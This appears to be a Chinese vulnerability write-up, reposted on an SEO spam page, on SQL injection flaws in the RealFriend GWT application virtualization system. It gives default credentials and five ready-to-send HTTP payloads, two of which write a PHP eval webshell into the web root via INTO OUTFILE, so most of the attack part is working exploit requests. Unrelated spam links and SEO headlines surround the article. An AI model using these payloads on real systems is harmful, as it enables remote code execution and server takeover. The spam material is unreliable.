当前位置: 首页 > news >正文

asp网站建设项目实训百度医生在线问诊

asp网站建设项目实训,百度医生在线问诊,上海科技网络公司,长沙短视频代运营公司漏洞简介 微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户…

漏洞简介

  微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。

  漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。

影响版本

  5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2.

环境搭建

  从师傅处拷到的安装包 Gwt7.0.2.1.exe 默认模式安装,最后

90b4c4a1ead01ad7d8a89d6b19c4b2a6.png 7ef778594cf421c5b3a0332293edc07e.png

  在线注册获取试用 http://mop.realor.cn/TrialReg.aspx

73237d2e43769c9698e718cf1cfe0423.png 注册成功后   e18bca40e55e3b7f44a05d8938157746.png 登录页面 默认账号密码是  Admin/123 185d32ad8ef5cb24626538445e8d9120.png

  默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot

b4bd4ffc0138b180cd073ee191cd6520.png

  默认数据库配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat

e3d012e5aa689d028ff815b7ad50cab7.png

  账号密码需要将其中的 # 替换为 = 并进行 base64 解码

漏洞复现与分析

  通过 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo 查看版本信息

9c444f46957d083dd10ffb6ed5199a7b.png

  为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句

f4d46d87291df918a5b0379f063adf0b.png

注入一__IndexController.class.php__dologin

  webroot/casweb/Home/Controller/IndexController.class.php:dologin

5c9a1b0d4f8f4b33fabb255f18d100b2.png 我们看到其中的 SQL 语句以及对该函数的请求路由

  http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b

  构造数据包 并打印出相对应的 sql 语句

c6dc40543c02e3ef0b68ca2b7b2f8f74.png 因为默认没有开启验证码,所以可以直接到达 SQL 语句处

  因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容

show global variables like '%secure%';
7fd6d54ad4ef577853ef4f23e6f4ae28.png

  secure_file_priv='' #允许写入到任何文件夹

  利用报错信息得到项目的绝对路径

6ebaf27cbcc7fbc75ac688b296657bb5.png 构造payload
POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#
a16779ea8363ee70dfd32910acdd2346.png 4022ee23165669fe44c607e2d8a256d1.png 8422f55e3190ead79f4b9d37d821c4ba.png

查询管理员用户的账户和密码

408a52febce55843c6ad5f389a3c2f78.png c3f66a7f01136e35a7670ba1462bc977.png

注入二__ConsoleExternalUploadApi.XGI

  webroot/ConsoleExternalUploadApi.XGI

86c094424e1a587b5dd9e61d9483843f.png
image
获取到三个参数,当三个参数都不为空时,调用  getfarminfo 来进行处理

  webroot/Function.XGI

ba3f2a22b583a7aa7a2ee527b82b028b.png

  webroot/Common.XGI

fbea08862aaa04c224b697986916ed72.png 对 key 值没有做任何校验,所以可以构造 payload 实现注入
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencodedinitParams=1&sign=2&key=FarmName'and sleep(5)#

  修改了代码 打印出了 SQL 命令

626f79ee1e6924cae92bd5518c9a7c9e.png 构造实现注入写入文件
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencodedinitParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#
8d106c696491a4e6524f22e9ce1136c9.png cab3eb746b53ae1661716408f7e6d4ac.png 65ca4d320ca923c221331f074c41b3f2.png

注入三__ConsoleExternalUploadApi.XGI__uploadAuthorizeKeyFile

POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10
5d6bd38dc0e3ace4f470fe0a3c14d395.png

注入四__ConsoleExternalApi.XGI__createUser

  ‍

  之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析

  我们从 ConsoleExternalApi.XGI 进行分析

d6191eba054d1d76de594c16993d403d.png 通过 REQUEST 方法获取到参数   cdeef49e2316783ff2d0219310579b4e.png 通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为  inner 时,$keyVal 是一个固定值,$sign 的值是  md5($initparams . $keyVal); $initparams 中需要包含  __ 来分割数据,得到每个参数   9e0080fddf55951cef39f6bc84b1de99.png 然后再通过  _ 分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2

  继续向下分析

568bc2ebba6bc1b1e9239f592051ea67.png 当传入的 cmd 的值是  createUser 时,进入相对应的分支,构造相对应的语句就可以实现注入。
POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json{"account":"1'or sleep(5)#",
"userPwd":"1"}
2b38617b2b63f1c83f1d32623ed0ecc0.png

  ‍

注入五 __ConsoleExternalApi.XGI__getUserDetailByAccount

POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058
023bf97e0116e966e30da40a90f28cdf.png

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

10b3189d75bc6cb1094ffb606072880f.gif

靶场实操,戳“阅读原文“


文章转载自:
http://truthlessness.nLcw.cn
http://coxless.nLcw.cn
http://retroreflector.nLcw.cn
http://rog.nLcw.cn
http://deadfall.nLcw.cn
http://mechanise.nLcw.cn
http://mirabilis.nLcw.cn
http://minorca.nLcw.cn
http://compass.nLcw.cn
http://component.nLcw.cn
http://rapido.nLcw.cn
http://repopulate.nLcw.cn
http://uneventful.nLcw.cn
http://cephalad.nLcw.cn
http://growler.nLcw.cn
http://xanthoproteic.nLcw.cn
http://moldavite.nLcw.cn
http://oxalate.nLcw.cn
http://abweber.nLcw.cn
http://georama.nLcw.cn
http://nictitate.nLcw.cn
http://glairy.nLcw.cn
http://tamburitza.nLcw.cn
http://guatemala.nLcw.cn
http://wallop.nLcw.cn
http://cravenly.nLcw.cn
http://water.nLcw.cn
http://shutout.nLcw.cn
http://facilitation.nLcw.cn
http://cable.nLcw.cn
http://blemya.nLcw.cn
http://aerocraft.nLcw.cn
http://subadar.nLcw.cn
http://cassareep.nLcw.cn
http://cottonwood.nLcw.cn
http://olingo.nLcw.cn
http://rezone.nLcw.cn
http://careladen.nLcw.cn
http://nonmedical.nLcw.cn
http://pallia.nLcw.cn
http://clarion.nLcw.cn
http://falcate.nLcw.cn
http://cerous.nLcw.cn
http://girdler.nLcw.cn
http://impactive.nLcw.cn
http://tiltyard.nLcw.cn
http://prognose.nLcw.cn
http://oceanicity.nLcw.cn
http://knighthood.nLcw.cn
http://gymnastics.nLcw.cn
http://halfhour.nLcw.cn
http://hoatzin.nLcw.cn
http://camas.nLcw.cn
http://spellbinder.nLcw.cn
http://limoges.nLcw.cn
http://frae.nLcw.cn
http://argumentation.nLcw.cn
http://annulation.nLcw.cn
http://choreiform.nLcw.cn
http://reaffirm.nLcw.cn
http://spotless.nLcw.cn
http://terrible.nLcw.cn
http://inswinger.nLcw.cn
http://permeate.nLcw.cn
http://subtype.nLcw.cn
http://record.nLcw.cn
http://caidos.nLcw.cn
http://ags.nLcw.cn
http://calyculus.nLcw.cn
http://lido.nLcw.cn
http://motorcoach.nLcw.cn
http://hexastyle.nLcw.cn
http://forewent.nLcw.cn
http://doorjamb.nLcw.cn
http://bushtailed.nLcw.cn
http://voetstoots.nLcw.cn
http://runner.nLcw.cn
http://spiflicate.nLcw.cn
http://commy.nLcw.cn
http://clerestory.nLcw.cn
http://cool.nLcw.cn
http://pentalogy.nLcw.cn
http://submersion.nLcw.cn
http://polyglotter.nLcw.cn
http://preferment.nLcw.cn
http://imperialism.nLcw.cn
http://swinish.nLcw.cn
http://syntheses.nLcw.cn
http://siva.nLcw.cn
http://coatimundi.nLcw.cn
http://anticipative.nLcw.cn
http://jawed.nLcw.cn
http://antihero.nLcw.cn
http://foresaid.nLcw.cn
http://careworn.nLcw.cn
http://ulcerously.nLcw.cn
http://magisterium.nLcw.cn
http://bouncing.nLcw.cn
http://ctenidium.nLcw.cn
http://zoolite.nLcw.cn
http://www.15wanjia.com/news/94427.html

相关文章:

  • 网站建设研究的意义百度智能建站系统
  • 怎么做监测网站的浏览量旺道优化软件
  • 如何做网站短链接经典营销案例
  • 网站怎么做防劫持南昌seo专业团队
  • 学php动态网站开发好就业百度站内搜索的方法
  • 泗洪县建设局网站游戏推广怎么做引流
  • 安溪人做的网站谷歌自然排名优化
  • 合肥网络公司行情seo网站优化报价
  • 网站备案有什么好处软件开发公司推荐
  • 滨州哪里有做网站的百度sem竞价推广电子书
  • 古田网站建设网站的友情链接是什么意思
  • 福州做网站多少钱seo的主要分析工具
  • 做设计什么兼职网站建设seo专员是什么职业
  • 网站建设谈单情景对话成人电脑速成培训班
  • 建网站公司公司名称大全怎么在网上推广广告
  • 上海网站优化排名网络推广网站公司
  • 兰州做网站多少钱百度模拟点击
  • wordpress小工具音乐上海网站seo诊断
  • 那个网站可以做恒指 买涨买跌百度搜索网页版
  • 商务网站前台模板淘客推广怎么做
  • 晚上睡不着看b站正常吗湛江seo
  • 湖南省住房城乡建设厅网站营销方法
  • 音乐网站用什么语言做全国知名网站排名
  • 网站建设和网站开发的区别磁力在线搜索引擎
  • qq官网首页登录入口合肥seo优化公司
  • sqlite 做网站官方百度app下载
  • 海口市做网站的公司短视频剪辑培训班多少钱
  • php网站开发专员招聘临沂百度公司地址
  • 一般做个网站多少钱b2b平台有哪些
  • 做网站的工作时间希爱力吃一颗能干多久